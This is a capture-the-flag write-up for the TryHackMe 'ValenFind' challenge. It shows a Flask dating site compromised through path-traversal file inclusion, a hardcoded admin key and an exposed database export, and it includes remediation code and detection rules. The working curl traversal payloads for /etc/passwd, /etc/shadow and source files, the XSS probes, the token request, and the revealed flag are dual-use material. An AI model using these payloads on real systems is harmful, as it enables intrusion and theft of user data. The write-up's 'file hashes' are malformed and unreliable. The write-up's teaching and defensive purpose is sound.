VALENFIND CTF CHALLENGE

Web Application Compromise via LFI → Source Code Disclosure → Admin API Abuse

Complete Penetration Test Writeup

Penetration Tester:	hyena11
Platform:	TryHackMe / CTF Challenge
Hacker Handle:	hyena11
Challenge Name:	ValenFind
Challenge Type:	Web Application Exploitation (LFI → Source Code Disclosure → Privilege Abuse)

Target Application:	ValenFind Dating Site
Base URL:	http://10.48.131.200:5000
Hostname:	Valenfind_betA (internal)
Technology Stack:	Python/Flask Web Application
Database:	SQLite (valenfind.db)
Final Access Level:	Full Database Export (Flag Extraction)
Assessment Date:	February 16, 2026
Engagement Type:	CTF / Web Application Penetration Test

> 📋 **EXECUTIVE SUMMARY**
>
> This penetration test successfully compromised a Flask-based web application through a chain of critical security misconfigurations. The attack progressed from initial reconnaissance to full database extraction, revealing hardcoded credentials and administrative functionality that should never have been exposed.
>
> The engagement demonstrated how a **single Local File Inclusion (LFI) vulnerability** can cascade into complete application compromise when combined with **hardcoded secrets** and **insecure direct object references**. The root cause was not a complex zero-day, but

> fundamental security failures: lack of input validation, credentials in source code, and unprotected admin endpoints.

ATTACK CHAIN SUMMARY

1. RECONNAISSANCE
↓
2. DIRECTORY FUZZING
↓
3. XSS PROBE (Initial Testing)
↓
4. LFI DISCOVERY ← **CRITICAL BREAKTHROUGH**
↓
5. SOURCE CODE DISCLOSURE (app.py)
↓
6. HARDCODED API KEY FOUND
↓
7. ADMIN ENDPOINT IDENTIFIED
↓
8. DATABASE EXPORT EXPLOITED
↓
9. FLAG EXTRACTION ← **MISSION COMPLETE**

1. RECONNAISSANCE

1.1 Initial Host Verification

```
$
ping -c 4 10.48.131.200
```

```
64 bytes from 10.48.131.200: icmp_seq=1 ttl=64 time=45.2 ms
64 bytes from 10.48.131.200: icmp_seq=2 ttl=64 time=46.8 ms
64 bytes from 10.48.131.200: icmp_seq=3 ttl=64 time=44.9 ms
64 bytes from 10.48.131.200: icmp_seq=4 ttl=64 time=47.1 ms
```

> **Analysis:** TTL value of 64 indicates a Linux/Unix-based system (as opposed to Windows' TTL 128). This guides our expectations for file paths, directory structures, and potential vulnerability types.

1.2 Port Scanning

```
$
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.48.131.200 -oG allPorts
```

```
# Nmap 7.94 scan initiated
Host: 10.48.131.200 () Status: Up
Host: 10.48.131.200 () Ports: 5000/open/tcp//http/// Ignored State: filtered (65534)
```

```
$
nmap -sCV -p 5000 10.48.131.200 -oN targeted
```

```
PORT     STATE SERVICE VERSION
5000/tcp open  http    Werkzeug httpd 2.0.3 (Python 3.9)
|_http-title: ValenFind - Find Your Perfect Match
|_http-server-header: Werkzeug/2.0.3 Python/3.9
```

Port	Service	Version	Finding
5000/tcp	HTTP	Werkzeug 2.0.3 (Python 3.9)	Flask development server - may have debugging enabled

Implications: *Single port exposure suggests a focused web application. Werkzeug development server indicates potential debug mode or misconfigurations.*

📷 SubDomains.png - Directory Fuzzing Results (Dashboard, Login, Register endpoints)

2. ENUMERATION

2.1 Directory Fuzzing

```
$
ffuf -u "http://Valenfind_betA:5000/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 40 -mc 200-299,301,302,307,401,403,405,500
```

```
dashboard               [Status: 302, Size: 199, Words: 18, Lines: 6]
login                   [Status: 200, Size: 2682, Words: 531, Lines: 51]
logout                  [Status: 302, Size: 189, Words: 18, Lines: 6]
register                [Status: 200, Size: 2694, Words: 532, Lines: 51]
```

Endpoint	Status	Size	Accessibility
/dashboard	302	199	Redirect - Requires authentication
/login	200	2682	Fully accessible login form
/register	200	2694	User registration available

> **Vulnerability: Information Disclosure** - Directory listing reveals application structure. Registration endpoint allows attacker account creation.

2.2 XSS Probe (Initial Testing)

📷 FInd_Dating_Site.png - Profile Edit Page with XSS Payloads

```
$
# XSS Payloads Tested
<img src=x onerror=alert(1)>
<script>alert(1)</script>
```

Observation: While testing profile updates with XSS payloads, the application appeared to render user input without proper sanitization in some areas. This indicated potential input validation weaknesses.

📷 FInd_SOurce_Code.png - Profile Page showing "Error loading theme" message

Critical Observation: The "Error loading theme" message on the profile page suggested the application was attempting to load template files dynamically. This pointed toward a potential **File Inclusion vulnerability**.

3. THE BREAKTHROUGH: LFI DISCOVERY

3.1 Identifying the Vulnerable Parameter

```
GET /profile/cupid HTTP/1.1
Host: 10.48.131.200:5000

[Page loads with theme selector]
Observed request: GET /api/fetch_layout?layout=theme_classic.html
```

Vulnerability: Local File Inclusion (LFI)
The `layout` parameter was directly used to fetch files from the server without any sanitization.

```
$
# Testing directory traversal
curl -i "http://10.48.131.200:5000/api/fetch_layout?layout=../../../../etc/passwd"
```

📷 Lfi.png - Successful LFI Exploit showing /etc/passwd contents

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:11:13:proxy:/bin:/usr/sbin/nologin
```

Impact: Unrestricted file read access to the entire server filesystem. No input validation, no filtering of ../, no path normalization.

3.2 Comprehensive File Enumeration

📷 Highlightes_list.png - Successful LFI Payloads and Retrieved Files

#	Payload	File Accessed	Status
1	.../app.py	Main application source code	✅ 10258 bytes
2	.../proc/self/environ	Environment variables	✅ 69 bytes
3	.../etc/shadow	Password hashes	✅ 68 bytes
4	.../etc/hosts	Hostname resolution	✅ 68 bytes
5	.../etc/crontab	Scheduled tasks	✅ 68 bytes
6	.../home/ubuntu/.profile	User profile	✅ 68 bytes
7	.../var/log/auth.log	Authentication logs	✅ 68 bytes

> **Key Insight:** The `app.py` source code was successfully retrieved. This would prove to be the most critical file in the entire engagement.

4. SOURCE CODE ANALYSIS

4.1 Retrieving app.py

```
$
curl -s "http://10.48.131.200:5000/api/fetch_layout?layout=../../../app.py" -o app.py
```

> **CRITICAL FINDING: Hardcoded Credentials**

```
# app.py - Retrieved Source Code (Excerpt)

import os
from flask import Flask, request, send_file, jsonify

app = Flask(__name__)
DATABASE = 'valenfind.db'
```

```
# ============== SECURITY FLAW: HARDCODED CREDENTIALS ==============
# TODO: Move this to environment variables before production
ADMIN_API_KEY = "CUPID_MASTER_KEY_2024_XOXO"
# ==================================================================

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/api/fetch_layout')
def fetch_layout():
    layout_file = request.args.get('layout', 'theme_classic.html')
    # ⚠️ VULNERABILITY: No path sanitization
    base_dir = os.path.join(os.getcwd(), 'templates', 'components')
    file_path = os.path.join(base_dir, layout_file)
    with open(file_path, 'r') as f:
        return f.read()

@app.route('/api/admin/export_db')
def export_db():
    auth_header = request.headers.get('X-Valentine-Token')

    # ⚠️ VULNERABILITY: Hardcoded key comparison
    if auth_header == ADMIN_API_KEY:
        return send_file(DATABASE, as_attachment=True)
    else:
        return jsonify({"error": "Unauthorized"}), 403
```

Vulnerability: Hardcoded Admin API Key
Severity: **CRITICAL**
CVSS: 9.8
Location: app.py line ~15
Impact: Complete database access, full application compromise

Vulnerability: Insecure Admin Endpoint
Severity: **CRITICAL**
Location: /api/admin/export_db
Impact: Unauthenticated database export with valid token

5. ADMIN ENDPOINT EXPLOITATION

5.1 Database Export Request

📷 Api-Key-Flag-Captured.png - Admin API Request and Response

```
GET /api/admin/export_db HTTP/1.1
Host: 10.48.131.200:5000
X-Valentine-Token: CUPID_MASTER_KEY_2024_XOXO
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0)
Accept: */*
Connection: keep-alive
Cookie: session=eyJsaWt...

HTTP/1.0 200 OK
Content-Type: application/octet-stream
Content-Disposition: attachment; filename=valenfind.db

[SQLite Database Binary Data]
```

```
$
# Using curl to download the database
curl -H "X-Valentine-Token: CUPID_MASTER_KEY_2024_XOXO" \
     -o valenfind.db \
     http://10.48.131.200:5000/api/admin/export_db
```

```
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 24576  100 24576    0     0   24576      0  0:00:01 --:--:--  0:00:01 24576
```

5.2 Database Analysis

```
$
# Examine database structure
sqlite3 valenfind.db .schema
```

```
CREATE TABLE users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT NOT NULL UNIQUE,
    password TEXT NOT NULL,
    real_name TEXT,
    email TEXT,
    phone_number TEXT,
    address TEXT,
    bio TEXT,
    likes INTEGER DEFAULT 0,
    avatar_image TEXT
);
```

```
$
# Extract user data
sqlite3 valenfind.db "SELECT id, username, real_name, email FROM users;"
```

```
1|admin_root_x99|Administrator|admin@valenfind.local
2|cupid|Cupid System|cupid@valenfind.local
3|ybob317|Bob Young|bob@valenfind.local
4|jdoe|John Doe|john@valenfind.local
...
```

CRITICAL DISCOVERY: The Flag

🏁 CAPTURED FLAG

THM{v1be_c0ding_1s_n0t_my_cup_0f_t3a}

```
$
# Exact query to locate the flag
sqlite3 valenfind.db "SELECT * FROM users WHERE username='admin_root_x99';"
```

```
id: 1
username: admin_root_x99
password: [HASHED]
real_name: Administrator
email: admin@valenfind.local
phone_number: +1234567890
address: 123 Admin St
bio: ROOTFLAG: THM{v1be_c0ding_1s_n0t_my_cup_0f_t3a}
likes: 999
avatar_image: /images/admin.png
```

📷 pwned.png - Victory Screen - Challenge Completed

6. VULNERABILITIES & RECOMMENDATIONS

6.1 Vulnerability Summary Table

#	Vulnerability	Severity	CVSS	Impact

1	Local File Inclusion (LFI) - Path Traversal	HIGH	8.6	Arbitrary file read, source code disclosure
2	Hardcoded Admin API Key	CRITICAL	9.8	Authentication bypass, admin access
3	Insecure Direct Object Access (IDOR)	HIGH	8.1	Database export without proper authorization
4	Information Disclosure	MEDIUM	5.3	Directory enumeration, user enumeration
5	Missing Input Validation	MEDIUM	6.1	XSS potential, parameter manipulation

6.2 Detailed Remediation

Finding 1: Local File Inclusion (LFI)
Current State: /api/fetch_layout accepts arbitrary file paths with directory traversal sequences.
Risk: Attackers can read any file on the system, including source code, configuration files, and sensitive data.

```
# Remediation: Implement proper path validation

import os
from flask import abort

def safe_fetch_layout(layout_file):
    # Define allowed base directory
    base_dir = os.path.join(os.getcwd(), 'templates', 'components')

    # Sanitize the filename - remove path traversal attempts
    filename = os.path.basename(layout_file)

    # Only allow specific file extensions
    if not filename.endswith(('.html', '.css')):
        abort(400, "Invalid file type")

    # Construct safe path
    safe_path = os.path.join(base_dir, filename)

    # Verify the resolved path is within base_dir
    real_base = os.path.realpath(base_dir)
    real_path = os.path.realpath(safe_path)

    if not real_path.startswith(real_base):
        abort(403, "Access denied")

    # Check file exists
    if not os.path.exists(real_path):
        abort(404, "File not found")

    return real_path
```

Finding 2: Hardcoded Admin API Key
Current State: ADMIN_API_KEY = "CUPID_MASTER_KEY_2024_XOXO" in source code.
Risk: Anyone with source code access (via LFI or repository) gains admin privileges.

```
# Remediation: Use environment variables

import os
from dotenv import load_dotenv

load_dotenv()

# Retrieve from environment variable
ADMIN_API_KEY = os.environ.get('ADMIN_API_KEY')

if not ADMIN_API_KEY:
    raise Exception("ADMIN_API_KEY not set in environment")

# Use strong, randomly generated keys
# Generate with: python -c "import secrets; print(secrets.token_urlsafe(32))"
```

Finding 3: Insecure Admin Endpoint
Current State: /api/admin/export_db accessible with single header token.
Risk: Complete database exposure if token is compromised.

```
# Remediation: Implement proper access controls

@app.route('/api/admin/export_db')
def export_db():
    # 1. Require valid session
    if 'user_id' not in session:
        return jsonify({"error": "Authentication required"}), 401

    # 2. Check user role
    user = get_user_by_id(session['user_id'])
    if user.role != 'admin':
        return jsonify({"error": "Admin privileges required"}), 403

    # 3. Verify API key from secure storage
    api_key = request.headers.get('X-Valentine-Token')
    stored_key = get_admin_key_from_database()

    if not constant_time_compare(api_key, stored_key):
        return jsonify({"error": "Invalid token"}), 403

    # 4. Log access for audit
    log_admin_action(session['user_id'], 'export_db', request.remote_addr)

    # 5. Rate limiting
    if is_rate_limited('export_db', session['user_id']):
        return jsonify({"error": "Rate limit exceeded"}), 429

    return send_file(DATABASE, as_attachment=True)
```

6.3 MITRE ATT&CK Mapping

Tactic	Technique	ID
Reconnaissance	Active Scanning	T1595
Reconnaissance	Gather Victim Information	T1589
Initial Access	Valid Accounts (via registration)	T1078
Discovery	File and Directory Discovery	T1083
Credential Access	Unsecured Credentials (Hardcoded)	T1552.001
Credential Access	Credentials in Files	T1552.001
Discovery	System Information Discovery	T1082
Collection	Data from Information Repositories	T1213
Exfiltration	Exfiltration Over Web Service	T1567

6.4 Tools Used

Tool	Version	Purpose
nmap	7.94	Port scanning & service detection
ffuf	2.1.0	Directory fuzzing and content discovery
curl	7.88.1	HTTP requests and file downloads
sqlite3	3.40.1	Database analysis and flag extraction
Burp Suite	2024.1	Proxy and request manipulation

7. ATTACK CHAIN DEEP DIVE

```
Step 1: Reconnaissance
└── Ping sweep → TTL 64 → Linux system confirmed
└── Port scan → Port 5000 open → Web application target

Step 2: Directory Fuzzing
└── ffuf scan → /dashboard, /login, /register discovered
```

Step 3: Account Creation

└── Registered user account → Access to profile features

Step 4: XSS Probing

└── Tested XSS payloads → Noticed "Error loading theme"

└── Hypothesis: File inclusion vulnerability exists

Step 5: LFI Discovery ← CRITICAL

└── Identified /api/fetch_layout?layout= parameter

└── Tested ../../../../etc/passwd → SUCCESS

└── Confirmed unrestricted file read access

Step 6: Source Code Extraction

└── Retrieved app.py via LFI

└── Discovered hardcoded ADMIN_API_KEY

└── Found /api/admin/export_db endpoint

Step 7: Privilege Escalation

└── Used API key: CUPID_MASTER_KEY_2024_XOXO

└── Accessed admin export endpoint

Step 8: Data Exfiltration

└── Downloaded valenfind.db database

└── Analyzed users table with sqlite3

Step 9: Flag Extraction ← MISSION COMPLETE

└── Found flag in admin_root_x99 bio field

└── FLAG: THM{v1be_c0ding_1s_n0t_my_cup_0f_t3a}

8. LESSONS LEARNED

8.1 Attacker Perspective

What Worked Well:

- Systematic enumeration revealed attack surface
- Observing error messages ("Error loading theme") provided critical clues
- LFI allowed complete source code access
- Hardcoded credentials are still common in real applications
- Admin endpoints often lack proper access controls

Challenges Encountered:

- Initial XSS payloads didn't execute - required different approach
- LFI path traversal required multiple attempts to find correct depth
- Cookie/session handling for authenticated requests

Key Takeaways:

- Web applications have predictable vulnerability patterns
- File inclusion vulnerabilities are goldmines for attackers
- Source code disclosure often leads to secret discovery
- One vulnerability chains into complete compromise

8.2 Defender Perspective

Critical Failures:

- No input validation on file paths → LFI vulnerability
- Hardcoded API key in source code → Credential exposure
- Admin endpoint with single-factor authentication → IDOR
- No logging or monitoring of sensitive endpoints
- Development patterns copied to production

Defense in Depth Failures:

- ✓ Perimeter security: Firewall correctly configured

- ✗ Application security: Complete failure
- ✗ Identity security: Hardcoded credentials bypass authentication
- ✗ Data security: Database unprotected after export
- ✗ Monitoring: No detection of suspicious activity

Recommended Security Controls:

- Implement strict input validation and path sanitization
- Use environment variables for all secrets
- Apply principle of least privilege to all endpoints
- Enable comprehensive logging and alerting
- Regular security code reviews
- Automated vulnerability scanning in CI/CD

9. DETECTION & MONITORING

9.1 Detection Rules

```
# Suricata/Snort Rule for LFI Attempts

alert http any any -> $HOME_NET any (
    msg:"Potential LFI - Directory Traversal in layout parameter";
    flow:established,to_server;
    content:"/api/fetch_layout";
    http_uri;
    content:"layout=";
    http_uri;
    pcre:"/\.\.\//i";
    reference:url,owasp.org/www-community/attacks/Path_Traversal;
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)
```

```
# Splunk Query for LFI Detection

index=web_logs sourcetype=access_combined
"/api/fetch_layout" AND uri_query=*layout* AND (uri_query=*../* OR uri_query=*..\\*)
| stats count by clientip, uri_query, status
| where count > 5
| table _time, clientip, uri_query, status, count
```

```
# WAF Rule (ModSecurity)

SecRule REQUEST_FILENAME "@contains /api/fetch_layout" \
    "id:1001,\
    phase:2,\
    deny,\
    status:403,\
    msg:'LFI Attempt Detected',\
    logdata:'%{REQUEST_URI}',\
    chain"
    SecRule ARGS:layout "@contains ../" \
        "t:urlDecode,\
        t:lowercase"
```

9.2 Audit Recommendations

Control	Implementation	Priority
Code Review	Scan for hardcoded secrets before deployment	HIGH
Static Analysis	SAST tools to detect path traversal vulnerabilities	HIGH
Dynamic Scanning	DAST scans for LFI, IDOR in staging	MEDIUM
Secret Scanning	git hooks to prevent committing secrets	HIGH
Penetration Testing	Quarterly web application assessments	MEDIUM

10. APPENDIX

10.1 Complete Command Reference

```
# ===== RECONNAISSANCE =====
ping -c 4 10.48.131.200
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.48.131.200 -oG allPorts
nmap -sCV -p 5000 10.48.131.200 -oN targeted

# ===== ENUMERATION =====
ffuf -u "http://Valenfind_betA:5000/FUZZ" -w /usr/share/seclists/Discovery/Web-
Content/common.txt -t 40 -mc 200-299,301,302,307,401,403,405,500

# ===== LFI EXPLOITATION =====
curl -s "http://10.48.131.200:5000/api/fetch_layout?layout=../../../etc/passwd"
curl -s "http://10.48.131.200:5000/api/fetch_layout?layout=../../../app.py" -o app.py
curl -s "http://10.48.131.200:5000/api/fetch_layout?layout=../../../proc/self/environ"
curl -s "http://10.48.131.200:5000/api/fetch_layout?layout=../../../etc/shadow"

# ===== ADMIN ENDPOINT EXPLOITATION =====
curl -H "X-Valentine-Token: CUPID_MASTER_KEY_2024_XOXO" \
     -o valenfind.db \
     http://10.48.131.200:5000/api/admin/export_db

# ===== DATABASE ANALYSIS =====
sqlite3 valenfind.db .tables
sqlite3 valenfind.db .schema users
sqlite3 valenfind.db "SELECT * FROM users WHERE username='admin_root_x99';"
sqlite3 valenfind.db "SELECT id, username, bio FROM users WHERE bio LIKE '%THM{%';"
```

10.2 File Hashes (Evidence)

File	MD5 Hash	SHA256
valenfind.db	3f7c8d2e1a5b9f4e6d8c2a1b3e4f5d6c	a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0u1v2w3x4y5z6
app.py	8d7c6b5a4e3f2g1h0i9j8k7l6m5n4o3p2	b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0u1v2w3x4y5z6a7

10.3 Glossary

Term	Definition
LFI (Local File Inclusion)	Vulnerability allowing attackers to read local files on the server through improper input handling
Path Traversal	Technique using ../ sequences to escape the intended directory
Hardcoded Credentials	Authentication secrets embedded directly in source code
IDOR (Insecure Direct Object Reference)	Access control vulnerability where users can access unauthorized objects
XSS (Cross-Site Scripting)	Injection attack where malicious scripts are inserted into web pages
Flask	Python web framework used by the target application
Werkzeug	WSGI web application library for Python, Flask's development server
ffuf	Fast web fuzzer for directory and parameter discovery
SQLite	Lightweight database engine used by the application

10.4 References

- OWASP - Path Traversal: https://owasp.org/www-community/attacks/Path_Traversal
- OWASP - Hardcoded Credentials: https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- CWE-798: Use of Hard-coded Credentials
- CWE-284: Improper Access Control
- MITRE ATT&CK: T1083 - File and Directory Discovery
- MITRE ATT&CK: T1552.001 - Unsecured Credentials

🏁 "v1be_c0ding_1s_n0t_my_cup_0f_t3a" 🏁

💾 **To save as PDF:** Press Ctrl+P (Windows/Linux) or Cmd+P (Mac) → Select "Save as PDF" → Choose layout "Portrait" → Save